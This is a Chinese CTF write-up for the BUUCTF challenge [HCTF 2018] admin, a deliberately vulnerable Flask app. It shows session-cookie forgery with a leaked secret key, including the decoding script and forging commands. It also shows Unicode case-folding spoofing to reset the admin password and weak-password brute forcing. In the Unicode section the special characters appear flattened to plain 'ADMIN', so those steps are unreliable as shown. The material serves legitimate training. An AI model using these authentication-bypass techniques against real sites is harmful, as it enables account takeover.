

BUUCTF——[HCTF 2018]admin

原创

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利用点

- Flask session
- Unicode编码欺骗
- (非预期)弱口令爆破

审题

打开环境, 主页仅提供了login和register两项服务, hctf的超链接打开是404

Welcome to hctf

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提示那么少，先看看主页的源码

```
30
39
40
41     </div>
42 </div>
43
44
45 <!-- you are not admin -->
46 <h1 class="nav">Welcome to hctf</h1>
47
48 <script type="text/javascript">
49     $(document).ready(function () {
50         // 点击按钮弹出下拉框
51         $('.ui.dropdown').dropdown();
52     });
53     // 鼠标悬停左边换下 选中中间换下框
```

结合题目以及提示，可以断定是要登录管理员账户，先注册一个账户，看看登录有些什么内容

新增了post和change password功能，在change password找到hint，去g站看看项目源码

```
45 </div>
46
47 <div class="ui grid">
48     <div class="four wide column"></div>
49     <div class="eight wide column">
50         <!-- https://github.com/woads11234/hctf_flask/ -->
51         <form class="ui form segment" method="post" enctype="multipart/form-data">
52             <div class="field required">
53                 <label>NewPassword</label>
54                 <input id="newpassword" name="newpassword" required type="password" value="">
55             </div>
56             <input type="submit" class="ui button fluid" value="更换密码">
57         </form>
58     </div>
```

在index.html发现，登录要求 `session['name']=='admin'` 就能拿到flag，可以确认此题是cookie欺骗

```
Executable File | 11 lines (10 sloc) | 342 Bytes
1  {% include('header.html') %}
2  {% if current_user.is_authenticated %}
3  <h1 class="nav">Hello {{ session['name'] }}</h1>
4  {% endif %}
5  {% if current_user.is_authenticated and session['name'] == 'admin' %}
6  <h1 class="nav">hctf{xxxxxxxxxx}</h1>
7  {% endif %}
8  <!-- you are not admin -->
9  <h1 class="nav">Welcome to hctf</h1>
10
11 {% include('footer.html') %}
```

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解题

解一——Flask session

网站框架是Flask，session存储在本地cookie中，因此只要对cookie解密，替换name即可绕过登录

在config.py发现secret_key

```
Executable File | 6 lines (5 sloc) | 207 Bytes
1  import os
2
3  class Config(object):
4      SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
5      SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:ads11234@db:3306/test'
6      SQLALCHEMY_TRACK_MODIFICATIONS = True
```

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F12获取cookie，用脚本对cookie解密

```
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print()
    print(decryption(sys.argv[1].encode()))
```

```
ctf>python hctf-admin.py .eJw9kMGKwkAMhL9lydLDHfEieHDRLRYmpRIkatora3TqQtRTvIU-ggrfA
F74_-Z-wP7dFV8Gsb2_FCPaXE8ye8HWEGaSUNewLpc2uFjqFeTvG5akRm9RMG6cpcexLpS1WuBQnzfr0fjUUVqycp7RzGmdIND0j0aZM4sdtIzHqKnofU7Jy2
PxUaPQixx5CFJuz6ekCTTTB0LNvMoxGHPp-I3VSpkTo1_ODg0fEmcGdTKpXQYg6vEeRde973v3Vx_bygkXsIZY00V1GIV-myuqAKZ9k8wsCYVhFbnmqfK4nX
ionHfJ-_dZfmUBYfE12_cVv-k-uhCQD6outhBLEuaN-1wTiC1x82JW3q.YKC8Ag.pWlr5ZLEUhv2mHR0GVpXZzIfGUMY

{'_fresh': True, '_id': b'92fa061ede7fa5547ff2da4e12ec8623a46efb0c19f3795e4d62f259e1bef54eb97629ee21a5c2e6352f5f27925d74
bcb435fe777f4a9fd9f1b540dcb9c986e0', 'csrf_token': b'141e420a4f5688b7d6274541a14b69376db6a65c', 'image': b'NpMR', 'name'
: 'test', 'user_id': '10'}
```

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现在只要将cookie明文中的name改成admin，再使用secret_key加密即可绕过登录

使用flask-session-cookie-manager3脚本加密

flask-session-cookie-manager3

该脚本也能解密

```
>python flask_session_cookie_manager3.py encode -s ckj123 -t '{"_fresh': True, '_id': b'92fa061ede7fa5547ff2da4e12ec8623a46efb0c19f3795e4d62f259e1bef54eb97629ee21a5c2e6352f5f27925d74bcb435fe777f4a9fd9f1b540dcb9c986e0', 'csrf_token': b'141e420a4f5688b7d6274541a14b69376db6a65c', 'image': b'NpMR', 'name': 'admin', 'user_id': '10'}
.eJw9kMGKwjAQhL9lydLDjXgRPLjoFguZUBkNMxdx29o2TbpQFW3Ed9_gwt4GvuH7Z_6nOJ6H6tKIxXW4VRNxbEuxeIqPb7EQGjNPuJLKHDrGMS7
7KaxLzZbrCHd0YeYo1FJZaGDNjv32TmEzZ6tmGg800lwqTyOgc8pkju0-YbOdQ6BRm4NT9qsBo0ZGChCzwMTd0I1g8hmkmsWbBzDsIBQztrtGG-6
0oQdFj0p3kTursZaMq6V4TURxGc7H609X9f8vKMwfjPmo0k0S46VeNy3IeJYtEoiMcJQOpbkKheR0KwlpSvflW9f6U139m7D_hh39R_qTj0CcSt_
2YiJul2p49yamiXj9AqPybjm.YKDIUg.tpA0-pkP0jCUHIYjpNbLauQNK3I
```

加密cookie替换，刷新即可获得flag

hctf

Hello admin

flag{4b8dfec2-6adc-49fc-a997-cfe1705783d2}

Welcome to hctf

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解二——Unicode编码欺骗

解法来源于参考文章

`route.py` 发现引用了 `Twisted` 包的 `nodeprep.prepare()` 转换小写

```
@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
```

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```
5
6 def strlower(username):
7     username = nodeprep.prepare(username)
8     return username
```

注册、登录、改密码都会利用 `strlower()` 进行一次小写转换，旧版本这个函数存在漏洞

用Unicode特殊字符 `ADMIN` 注册一个号，转换小写成了 `ADMIN`，实际是注册了 `ADMIN`

登录 `ADMIN`，实际是登录 `ADMIN`，改密码，转换小写成了 `admin`，实际改了 `admin` 的密码

登录 `ADMIN`，实际是登录 `admin`，获得flag

```
admin = nodeprep.prepare(nodeprep.prepare('ADMIN'))
```

[Search - Unicode Character Table \(unicode-table.com\)](#)

解三——(非预期)弱口令爆破

弱口令爆破，使用Burpsuite爆破登录 `admin/123`

参考

[HCTF2018-admin_迷风小白-CSDN博客](#)

完